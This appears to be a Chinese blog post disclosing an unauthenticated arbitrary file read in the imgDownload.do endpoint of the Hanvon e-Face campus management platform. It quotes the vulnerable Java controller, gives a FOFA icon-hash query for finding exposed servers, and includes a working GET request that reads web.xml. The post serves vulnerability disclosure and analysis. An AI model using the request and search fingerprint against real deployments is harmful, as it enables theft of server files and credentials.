汉王e脸通综合管理平台 imgDownload.do 任意文件读取漏洞


漏洞简介

汉王e脸通综合管理平台是汉王公司研发的一款基于生物识别技术的智慧园区管理软件,集成了考勤管理、门禁管理、访客管理、巡更管理、消费管理、车控管理、梯控管理、人事管理等多个模块,广泛应用于政府、企业、监狱、学校、智慧社区等多个领域,实现无接触式快速通行,提升管理效率和安全性。其管理平台的 imgDownload.do 接口存在任意文件读取漏洞。攻击者可在无需认证的情况下,通过构造恶意请求访问 imgDownload.do 接口,传入任意文件路径参数,实现服务器上任意文件的读取,影响系统敏感数据的泄露和信息安全。

影响版本

v1.6.x

fofa语法

icon_hash="1380907357"

漏洞分析

直接看 ResourceUploadController 下的 imgDownload.do 实现方式

@RequestMapping(
        value = {"/imgDownload.do"},
        method = {RequestMethod.GET}
    )
    @ResponseBody
    public void imgDownload(@RequestParam(required = true) String filePath, HttpServletRequest request, HttpServletResponse response) {
        try {
            String fullPath = PhotoStoreUtils.getCaptureDirectoryPhysicalPath() + filePath;
            FileInputStream is = new FileInputStream(fullPath);
            int i = is.available();
            byte[] data = new byte[i];
            is.read(data);
            is.close();
            response.setContentType("image/*");
            OutputStream toClient = response.getOutputStream();
            toClient.write(data);
            toClient.close();
        } catch (IOException var9) {
        }

    }

用户可控参数 filePath 被直接拼接到路径上进行操作,朴实无华的任意文件读取漏洞。

漏洞复现

GET /manage/resourceUpload/imgDownload.do?filePath=/manage/WEB-INF/web.xml&recoToken=SGUsqvF7cVS HTTP/1.1
Host: hanvon.mrxn.net

img

成功读取到 web.xml 文件


手机扫码阅读

汉王e脸通综合管理平台 fileDownload.do 任意文件读取漏洞

汉王e脸通综合管理平台 getGroupEmployee.do SQL注入漏洞

评 论